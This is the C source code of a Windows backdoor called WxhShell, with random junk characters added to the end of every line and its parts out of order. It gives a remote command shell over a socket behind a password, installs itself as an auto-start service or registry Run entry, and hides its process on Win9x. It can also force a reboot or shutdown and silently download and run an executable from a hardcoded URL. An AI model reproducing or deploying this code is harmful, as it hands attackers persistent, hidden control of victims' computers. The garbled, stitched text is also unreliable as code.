    } W~7A+=&  
    break; ~XmLX)vO/  
    } ,1+y/{S  
  // 关机 5l UF7:A>#  
  case 'd': { %#xaA'? [  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2$ze= /l  
    if(Boot(SHUTDOWN)) wG-HF'0L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 85Otss/mM  
    else { y1+*6|  
    closesocket(wsh); Su/6Q$0 t  
    ExitThread(0); SSWP~ t  
    } :x4|X8>  
    break; wMg0>  
    } !`Hd-&}bYz  
  // 获取shell fy@<&U5rg  
  case 's': { %/zbgS`  
    CmdShell(wsh); }%{LJ}\Px  
    closesocket(wsh); i\rDu^VQ  
    ExitThread(0); LQRQA[^  
    break; F7EKoDt  
  } [R^i F  
  // 退出 Ay0U=#XP  
  case 'x': { 2$g6}A`r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >8#X;0\Kj  
    CloseIt(wsh); SPY|K  
    break; Ssou  
    } dQA'($  
  // 离开 9CWezI+  
  case 'q': { )9"_J9G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r\-uJ~8N  
    closesocket(wsh); zGkS^Z=(  
    WSACleanup(); |8l<$J  
    exit(1); @v)p<r^M">  
    break; :2rZcoNb.  
        } 7>))D'l57  
  } b)qoh^  
  } Ch|jtVeuyJ  
f$Fhf ?'  
  // 提示信息 R5 - @  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P"IPcT%Ob%  
} %u5L!W&  
  } CFMo)"  
RbP6F*f  
  return; '}Z~JYa0  
} sHt].gZ  
y[)>yq y  
// shell模块句柄 ?R$F)g7<  
int CmdShell(SOCKET sock) 1VG4S){}\9  
{ Uyg5i[&X@  
STARTUPINFO si; aJbO((%$|u  
ZeroMemory(&si,sizeof(si)); 8m\7*l^D:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0uOkMuy<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rrBsb -  
PROCESS_INFORMATION ProcessInfo; xSsa(b  
char cmdline[]="cmd"; }Mp:JPH&S4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O7-mT8o  
  return 0; q1"$<# t  
} F@'Jbd`   
BW}U%B^.  
// 自身启动模式 qG?Qc (  
int StartFromService(void) -w}]fb2Q>  
{ C'.L20qW  
typedef struct Bn#?zI  
{ j7$e28|_n  
  DWORD ExitStatus; !sQY&*  
  DWORD PebBaseAddress; ZojI R\F^  
  DWORD AffinityMask; "4+ &-ms  
  DWORD BasePriority; "/3'XOK|  
  ULONG UniqueProcessId; @s ?  
  ULONG InheritedFromUniqueProcessId; l1OE!W W  
}   PROCESS_BASIC_INFORMATION; P2BWuh F  
+./H6!  
PROCNTQSIP NtQueryInformationProcess; e,vvzs o  
ODNM+#}`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (|:M&Cna]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =jOv] /  
c[wla<dO*  
  HANDLE             hProcess; Tc>   
  PROCESS_BASIC_INFORMATION pbi; .w=/+TA  
r ~jm`y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >z{d0{\  
  if(NULL == hInst ) return 0; XHK<AO^  
}Jy8.<Gd^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AS'R?aX|C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /Y W>*?"N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8<S~Z:JK  
lYVz 3p  
  if (!NtQueryInformationProcess) return 0; dx5#\"KX=,  
9ifDcYl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~dgDO:)  
  if(!hProcess) return 0; ?I_s0k I  
%GjM(;Tk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p{amC ;cI$  
=9'RM>  
  CloseHandle(hProcess); 9YIM'q>`v  
:~e>Ob[,"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Neq+16*u  
if(hProcess==NULL) return 0; D/Z6C&/I  
X$ 0?j 1  
HMODULE hMod; u]<,,  
char procName[255]; 5nv#+ap1 "  
unsigned long cbNeeded; S!jTyY7e  
/32Fy`KV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X@ +{5%  
n7B7m,@1  
  CloseHandle(hProcess); Cc+t}"^  
l2zFKCGF(  
if(strstr(procName,"services")) return 1; // 以服务启动 @Owb?(6?  
cs,N <|  
  return 0; // 注册表启动 8ndYV>{f  
} BZ94NOOdw  
Su 586;\  
// 主模块 8;b( 0^  
int StartWxhshell(LPSTR lpCmdLine) GY6`JWk  
{ .b3Qfxc>  
  SOCKET wsl; nrL9 E'F'  
BOOL val=TRUE; /\ y?Y  
  int port=0; 3KR d  
  struct sockaddr_in door; b3&zjjQ  
9_L[w\P|4  
  if(wscfg.ws_autoins) Install(); |{BIHgMh  
5gH1.7i b  
port=atoi(lpCmdLine); ,X[kt z  
^crCy-`#  
if(port<=0) port=wscfg.ws_port; 2#KJ asX  
mq aHwID  
  WSADATA data; rHC>z7+z.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )M,Of Xa  
c(3~0Yr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &oP +$;Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3EV;LH L  
  door.sin_family = AF_INET; O,+1<.;+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $? m9")  
  door.sin_port = htons(port); rXmn7;B}g  
*]ly0nP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y?[ v=j*U  
closesocket(wsl); Pu7_ v  
return 1; F3N?Nk/  
} 4,bv)Im+ `  
Ttu2skcv  
  if(listen(wsl,2) == INVALID_SOCKET) { p#ol*m5wE  
closesocket(wsl); A_XY'z1  
return 1; mC4zactv  
} e}D3d=6`  
  Wxhshell(wsl); S@jQX  
  WSACleanup(); K,Ef9c/+K  
hEA<o67  
return 0; I?h)OvWd  
!^^?dRd*v  
} ;;_,~pI?k  
eV 2W{vuI  
// 以NT服务方式启动 #+:9T /*>0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %}SGl${-  
{ 0ZT5bg_M  
DWORD   status = 0; MuYk};f  
  DWORD   specificError = 0xfffffff; ;+e}aER&9  
O!m vJD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v0 nj M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Upc+Ukw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j>*R]mr6  
  serviceStatus.dwWin32ExitCode     = 0; k52/w)Ro,$  
  serviceStatus.dwServiceSpecificExitCode = 0; )bS~1n_0  
  serviceStatus.dwCheckPoint       = 0; NaPt"G  
  serviceStatus.dwWaitHint       = 0; D8inB+/-  
KX76UW   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HFKf kAl  
  if (hServiceStatusHandle==0) return; ) brVduB  
1{r3#MVL  
status = GetLastError(); -(~.6WnhS  
  if (status!=NO_ERROR) [="e ziM{  
{ h hG4-HD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cGtO +DE  
    serviceStatus.dwCheckPoint       = 0; ta35 K"  
    serviceStatus.dwWaitHint       = 0; DwaBdN[!7  
    serviceStatus.dwWin32ExitCode     = status; un)4eo!7  
    serviceStatus.dwServiceSpecificExitCode = specificError; %j:]^vqFA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aO]ZZleNS  
    return; Z8# (kmBdB  
  } 1e(E:_t  
P?8GV%0$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; sR(9IW-  
  serviceStatus.dwCheckPoint       = 0; 1 9&<|qTz  
  serviceStatus.dwWaitHint       = 0; j.C`U(n}`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :9O#ObFR  
} Uo-)pFN^  
7R`M,u~f2^  
// 处理NT服务事件,比如:启动、停止 ql<i]Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M=%l}FSTw(  
{ t0/p]=+.p/  
switch(fdwControl) Te.Y#lCT$  
{ >7wOoK|1'  
case SERVICE_CONTROL_STOP: VbJiZw(aR  
  serviceStatus.dwWin32ExitCode = 0; ~o82uw?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~c8? >oN(  
  serviceStatus.dwCheckPoint   = 0; @E^~$-J5j  
  serviceStatus.dwWaitHint     = 0; ~;QvWS  
  { o]+z)5zC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3[\iQ*d }B  
  } J{l1nHQZSu  
  return; )hd@S9Z.Y  
case SERVICE_CONTROL_PAUSE: +vYoB$!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e&simX;W  
  break; *v;!-F&8>  
case SERVICE_CONTROL_CONTINUE: c]$i\i#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qHsUP;7  
  break; k >F'ypm  
case SERVICE_CONTROL_INTERROGATE: , `wXg  
  break; us ;YV<)d  
}; y)F;zW<+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _wC3kAO  
} <A<{,:5C  
(hTCK8HK  
// 标准应用程序主函数 x4g3 rmp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NS9B[*"Jl  
{  :l~ I  
<:(6EKJAq}  
// 获取操作系统版本 dA-2%uJ  
OsIsNt=GetOsVer(); sSOOXdnGG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I[=j&rK`  
l/BLUl~z  
  // 从命令行安装 Jpj}@,  
  if(strpbrk(lpCmdLine,"iI")) Install(); b^ L \>3  
B||*.`3gN  
  // 下载执行文件 CEXyrs<  
if(wscfg.ws_downexe) { 3b*cU}go  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &Flglj~7l  
  WinExec(wscfg.ws_filenam,SW_HIDE); dI*pDDq#  
} ~hZ"2$(0  
d{rQzia"mV  
if(!OsIsNt) { A3rPt&<a  
// 如果时win9x,隐藏进程并且设置为注册表启动 *7*lE"$p  
HideProc(); y#>,+a#5  
StartWxhshell(lpCmdLine); nnCG g+l  
} ~1cnE:x;V  
else ie;]/v a  
  if(StartFromService()) R#xCkl-  
  // 以服务方式启动 UQ8M~x5$3%  
  StartServiceCtrlDispatcher(DispatchTable); cnSJ{T  
else sqla}~CiX  
  // 普通方式启动 'HT7_$?*  
  StartWxhshell(lpCmdLine); P.6nA^hXB  
5 elw~u  
return 0; K2 he4<  
} 6^%UU o%  
LL]zT H0  
qgE 73.!`6  
/nyUG^5#{  
=========================================== 4S,`bnmB  
^cV;~&|.Xk  
4 d;|sI@  
e .]KL('  
GRGzP&}@  
^sa#8^,K  
" F4It/  
W^fuScG)c  
#include <stdio.h> F\fWvXdW  
#include <string.h> .9R [ *<  
#include <windows.h> aJYgzr,  
#include <winsock2.h> SPN5dE.@  
#include <winsvc.h> "vXxv'0\f  
#include <urlmon.h> Tg!i%v(-t  
xG}(5Tt  
#pragma comment (lib, "Ws2_32.lib") !O-T0O   
#pragma comment (lib, "urlmon.lib") I'PeN0T f  
F_Z- 8>P  
#define MAX_USER   100 // 最大客户端连接数 ;} und*q  
#define BUF_SOCK   200 // sock buffer , 3,gG "  
#define KEY_BUFF   255 // 输入 buffer .^N/peU q  
#6ri-n  
#define REBOOT     0   // 重启 Uh7v@YMC  
#define SHUTDOWN   1   // 关机 =.y~fA!  
wm]^3q I2  
#define DEF_PORT   5000 // 监听端口 MG[o%I96  
Ne#WI'  
#define REG_LEN     16   // 注册表键长度 +lJG(Qd  
#define SVC_LEN     80   // NT服务名长度 ${+ @gJ+S  
cU0s p  
// 从dll定义API 9[1`jtm  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3mYiQ2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i%ZW3MrY~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5V5%/FU m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TftHwe):V  
+SsK21f"r  
// wxhshell配置信息 |o,8V p  
struct WSCFG { +#GQ,  
  int ws_port;         // 监听端口 k:JrHBKv\  
  char ws_passstr[REG_LEN]; // 口令 k9$K}  
  int ws_autoins;       // 安装标记, 1=yes 0=no Mzsfo;kk+  
  char ws_regname[REG_LEN]; // 注册表键名 =3q/F7-  
  char ws_svcname[REG_LEN]; // 服务名 eAX )^q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [P Q?#:r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7s"< 'cx_F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XpmS{nb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bA= |_Wt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A'G66ei  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 " Om[~-31  
/TZOJE(2j  
}; Qi_>Mg`x  
#?q&r_@@  
// default Wxhshell configuration j;s"q]"x]  
struct WSCFG wscfg={DEF_PORT, !6s"]WvF  
    "xuhuanlingzhe", b'J'F;zh>  
    1, /DQc&.jK  
    "Wxhshell", M%1}/!J3  
    "Wxhshell", Q>/C*@  
            "WxhShell Service", A/s>PhxV  
    "Wrsky Windows CmdShell Service", M7+nW ; e%  
    "Please Input Your Password: ", AK\$i$@6  
  1, +|bmT  
  "http://www.wrsky.com/wxhshell.exe", AgV G`q  
  "Wxhshell.exe" >y.%xK  
    }; (WK&^,zQn  
t<~$  
// 消息定义模块 D|rFu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dY@WI[yog  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a["2VY6Eq@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &krwf ]|  
char *msg_ws_ext="\n\rExit."; 0@G")L Ue0  
char *msg_ws_end="\n\rQuit."; b7!Qn}  
char *msg_ws_boot="\n\rReboot..."; rA2 g&  
char *msg_ws_poff="\n\rShutdown..."; 6b%WHLUeT  
char *msg_ws_down="\n\rSave to "; ^xh}I5  
T%6&PrQ7  
char *msg_ws_err="\n\rErr!"; rF aF Bd  
char *msg_ws_ok="\n\rOK!"; 9so6WIWc  
c7tfRq n+  
char ExeFile[MAX_PATH]; zunV<2~(2}  
int nUser = 0; B*4}GPQ  
HANDLE handles[MAX_USER]; x%+aKZ(m)  
int OsIsNt; ?_"+^R z  
j7sKsbb  
SERVICE_STATUS       serviceStatus; U>V&-kxtV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >=UF-xk;  
w=LP"bqlI  
// 函数声明 A,\6nO67  
int Install(void); }-~X4u#   
int Uninstall(void); WcHgBbNe  
int DownloadFile(char *sURL, SOCKET wsh); eFpTW&9n  
int Boot(int flag); [%9no B  
void HideProc(void); kqce[hgs<  
int GetOsVer(void); #<e\QE'!  
int Wxhshell(SOCKET wsl); ZKQG:M~|  
void TalkWithClient(void *cs); e =4+$d  
int CmdShell(SOCKET sock); oI}kH=<,  
int StartFromService(void); -8r  
int StartWxhshell(LPSTR lpCmdLine); \[gReaI  
{?J/c{=/P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :4MB]v[K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A,%C,*)Cg  
Ps%qfL\  
// 数据结构和表定义 Ga#:P F0  
SERVICE_TABLE_ENTRY DispatchTable[] = /e]'u&a  
{ ,z;ky5Ct  
{wscfg.ws_svcname, NTServiceMain}, F>]m3(  
{NULL, NULL} Mk=mT3=#  
}; )RO<o O  
~4s'0 w^  
// 自我安装 KN t t  
int Install(void) JJ{9U(`_y6  
{ (FJ9-K0b{n  
  char svExeFile[MAX_PATH]; s<9RKfm  
  HKEY key; }0u8r`  
  strcpy(svExeFile,ExeFile); 4hAl-8~Q6  
O!Oumw,$  
// 如果是win9x系统,修改注册表设为自启动 ~er\~kp  
if(!OsIsNt) { :>TEDy~O%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &v"3*.org@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E2cB U{x  
  RegCloseKey(key); oS7(s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \3'9Uz,OC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aX~%5 mF  
  RegCloseKey(key); AX= 1b,s  
  return 0; Wx~k&[&E  
    } <{2e#Y  
  } !-N6l6N  
} M/):e$S  
else { ?0YCpn  
x.3J[=z=>  
// 如果是NT以上系统,安装为系统服务 lu#LCG-.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wE@'ap#  
if (schSCManager!=0) )(tM/r4`c&  
{ TQ`Rk;0R  
  SC_HANDLE schService = CreateService LJOr!rWi  
  ( UTf9S>HS  
  schSCManager, {_Lg tu  
  wscfg.ws_svcname, ' Hi : 2Wh  
  wscfg.ws_svcdisp, e.@uhB.  
  SERVICE_ALL_ACCESS, `.T}=j|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >m# e:[N  
  SERVICE_AUTO_START, }';D]c  
  SERVICE_ERROR_NORMAL, j'aHF#_  
  svExeFile, ukvtQz)  
  NULL, /}Lt,9  
  NULL, E\IlF 6  
  NULL, !'j?.F $}  
  NULL, K-f1{ 0  
  NULL +,yK;^b  
  ); zoDH` h_  
  if (schService!=0) yuDZ~0]R  
  { b8%C *r7  
  CloseServiceHandle(schService); WBNw~|DO]  
  CloseServiceHandle(schSCManager); >0dv+8Mn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 63.wL0~  
  strcat(svExeFile,wscfg.ws_svcname); c\ia6[3sX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B9T!j]'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Rb%%?*|  
  RegCloseKey(key); cuK,X!O  
  return 0; zCOgBT~p   
    } X^\> :<  
  } t9Y=m6  
  CloseServiceHandle(schSCManager); cwm_nQKk  
} b:R-mg.VT{  
} k51Eyy50(  
ZkIgL  
return 1; f)g7 3=  
} -AhwI  
t\RF=BbJJ  
// 自我卸载 B%KG3]  
int Uninstall(void) 6<N5_1  
{ ?W( 6  
  HKEY key; u5~Ns&o&N  
"*;;H^d  
if(!OsIsNt) { /sr2mt-Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u(OW gbA3  
  RegDeleteValue(key,wscfg.ws_regname); eL4NB$Fb  
  RegCloseKey(key); 2_ :n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  P\]B<  
  RegDeleteValue(key,wscfg.ws_regname); 70lfb`  
  RegCloseKey(key); U,+[5sbo  
  return 0; v^ /Q 8Q  
  }  .AYj'Y  
} @"Z7nJX  
} 3SSm5{197  
else { .e'eE  
TZt jbD>B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e5.h ?  
if (schSCManager!=0) .`7cBsXH  
{ =l.+,|ZH!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [HN|\afz  
  if (schService!=0) D;I6Q1I  
  { 0W3i()  
  if(DeleteService(schService)!=0) { >(y<0   
  CloseServiceHandle(schService); gtYAHi  
  CloseServiceHandle(schSCManager); `\X+ Ud|  
  return 0; 3:{yJdpg  
  } U~W?s(Cy%  
  CloseServiceHandle(schService); ur vduE  
  } (mtoA#X1:h  
  CloseServiceHandle(schSCManager); s;1]tD  
} S,U Pl}KF  
} /B5-Fx7j3  
GZ{]0$9I'  
return 1; ,+g&o^T  
} f50L,4,  
$!5\E>y#  
// 从指定url下载文件 bW ZbG{Y.  
int DownloadFile(char *sURL, SOCKET wsh) W5^.-B,(K  
{ ~+<olss_  
  HRESULT hr; {V1Pp;A  
char seps[]= "/"; n!6Z]\8~$  
char *token; '|7Woxl9  
char *file; |7B!^ K  
char myURL[MAX_PATH]; c*`>9mv  
char myFILE[MAX_PATH]; goJ|oi  
saU]`w_Z*  
strcpy(myURL,sURL); OEPa|rb  
  token=strtok(myURL,seps); -k(CJ5H9  
  while(token!=NULL) sz-- 27es  
  { __[xD\ES  
    file=token; PyA&ZkX>  
  token=strtok(NULL,seps); ^1Xt]T`e  
  } }n7t h  
bu&t'?z x!  
GetCurrentDirectory(MAX_PATH,myFILE); aF|d^  
strcat(myFILE, "\\"); `z0{S!  
strcat(myFILE, file); XE3'`D !  
  send(wsh,myFILE,strlen(myFILE),0); 5/gDK+%4D(  
send(wsh,"...",3,0); dq IlD!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eZr&x~] -w  
  if(hr==S_OK) =<@\,xN>C  
return 0; UZEI:k,dv  
else x f4{r+  
return 1; $ n,Z  
F`nb21{0y&  
} QQe;1O  
 KluA  
// 系统电源模块 /H:I 68~  
int Boot(int flag) KOg?FmD  
{ [TF8'jI0  
  HANDLE hToken; ^uS/r#l  
  TOKEN_PRIVILEGES tkp; OG3/-K8R  
b dJ+@r  
  if(OsIsNt) { E42eOGp9i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @<M*qK1h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B/Gd(S`@q  
    tkp.PrivilegeCount = 1; cL8#S>>u.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "+?Cz !i   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fWF |,A>>b  
if(flag==REBOOT) { ^). )  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D;Gq)]O  
  return 0; OzT#1T1'c  
} Dml*T(WM>  
else { XJ!(F#zc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o{*ay$vA]  
  return 0; 0)9"M.AIvo  
} 55t\Bms{  
  } l7JY]?p  
  else { 5 cK@WE:  
if(flag==REBOOT) { Px5t,5xT8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Gg\G'QU  
  return 0; M,3wmW&d6  
} FFEfp.T1M  
else { hNXBVIL<&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W9t"aZor  
  return 0; ha;l(U>  
} "Lh  
} Gjz[1d  
Sd IX-k.  
return 1; }.)s%4p8  
} cgC\mM4Nla  
#JA}3]  
// win9x进程隐藏模块 `\<37E\N}  
void HideProc(void) ,jy*1Hjd  
{ }a&mY^  
R7~Yw*#,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BO.dz06(Rw  
  if ( hKernel != NULL ) f>$h@/-*  
  { &~B5.sppnB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]%RNA:(F'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P&*sB%B  
    FreeLibrary(hKernel); +VEU:1Gt  
  } )[&_scSa  
R.j1?\  
return; |m,VTViv;i  
} ?p[O%_Xf  
r^HA aGpC  
// 获取操作系统版本 j2 h[70fWC  
int GetOsVer(void) SW(q$i  
{ DhI>p0* T  
  OSVERSIONINFO winfo; *.f2VQ~H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >+cVs:  
  GetVersionEx(&winfo); <Wl(9$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,/&Zw01dGN  
  return 1; }tST)=M`  
  else ^T4Ay=~{  
  return 0; 2 Tvvq(?T  
} h5|.Et  
2aNT#J"_  
// 客户端句柄模块 7Tf]:4Y"  
int Wxhshell(SOCKET wsl) .g\6g~n  
{ TTI81:fku  
  SOCKET wsh; =OTm2:j#yQ  
  struct sockaddr_in client; i}TwOy<4s  
  DWORD myID; daZQz"PP  
)_jSG5k  
  while(nUser<MAX_USER) =Pe><k  
{ ED![^=  
  int nSize=sizeof(client); ARh6V&Hi-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w#G2-?aj  
  if(wsh==INVALID_SOCKET) return 1; @?B6aD|jE  
Q^eJ4{Ya:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oB c@]T5>  
if(handles[nUser]==0) e[Xq  
  closesocket(wsh); KSs1CF'i  
else 0vs0*;F;  
  nUser++; (7$$;  
  } }dSFAKI2dM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j!#O G  
CfT/R/L  
  return 0; f1{z~i9@$  
} H*e'Cs/  
;~zNqdlH  
// 关闭 socket sDiHXDI_m  
void CloseIt(SOCKET wsh) FT\?:wpKa  
{ h:qHR] 8dZ  
closesocket(wsh); Edt}",s7  
nUser--; Ruh)^g  
ExitThread(0); pe04#zQK  
} p5 ]_}I`+2  
BQgoVnQo_c  
// 客户端请求句柄 {_ V0  
void TalkWithClient(void *cs) 0.(<'!"y  
{ Z/ bB h  
utO.WfWP  
  SOCKET wsh=(SOCKET)cs; X} JOX9pK  
  char pwd[SVC_LEN]; "HQF.#\#  
  char cmd[KEY_BUFF]; Yx?aC!5M  
char chr[1]; -rY 7)=  
int i,j; s_wUM)!  
J?712=9  
  while (nUser < MAX_USER) { 2P~)I)3V  
A! 6r/   
if(wscfg.ws_passstr) { )3E,D~1e%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cwtD@KC[B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g@nk.aRw  
  //ZeroMemory(pwd,KEY_BUFF); -6EK#!+  
      i=0; H/cTJ9zz  
  while(i<SVC_LEN) { 8:g!w:$x  
}Zl"9A#K  
  // 设置超时 ;[5r7 jHU  
  fd_set FdRead; k 'zat3#f  
  struct timeval TimeOut; ,-#GX{!  
  FD_ZERO(&FdRead); \aSz2lxEHn  
  FD_SET(wsh,&FdRead); ZCiY,;c  
  TimeOut.tv_sec=8; oKKz4  
  TimeOut.tv_usec=0; )+~E8yK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9Vh_[^bR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .)PqN s:  
CvTwBJy1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `^8*<+  
  pwd=chr[0]; |XcH]7Ai"  
  if(chr[0]==0xd || chr[0]==0xa) { f]_mzF=&  
  pwd=0; w7Dt1axB  
  break; G%hO\EO  
  } wly>H]i'  
  i++; 8 $ ~3ra  
    } jUY+3"?   
( tn< VK.  
  // 如果是非法用户,关闭 socket h`?k.{})M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !$kR ;Q"/  
} jXcNAl  
B?(4f2yE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oX|?:MS:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O-GxUHwW r  
%Y',|+Arx  
while(1) { z}APR@?`n8  
P/ aDd@j  
  ZeroMemory(cmd,KEY_BUFF); t.=Oj  
5+L8\V9;  
      // 自动支持客户端 telnet标准   :('I)C  
  j=0; GXeAe}T  
  while(j<KEY_BUFF) { HF4Lqh'oco  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s-6:N9-  
  cmd[j]=chr[0]; jH0Bo;  
  if(chr[0]==0xa || chr[0]==0xd) { 1xC`ZhjcD  
  cmd[j]=0; J:};n@<  
  break; ,ep9V ,+|  
  } ;X7i/D Q  
  j++; Yo'K pdn  
    } (T;9us0  
1ih*gJPpj  
  // 下载文件 R+Lk~X^*l'  
  if(strstr(cmd,"http://")) { >l2w::l%  
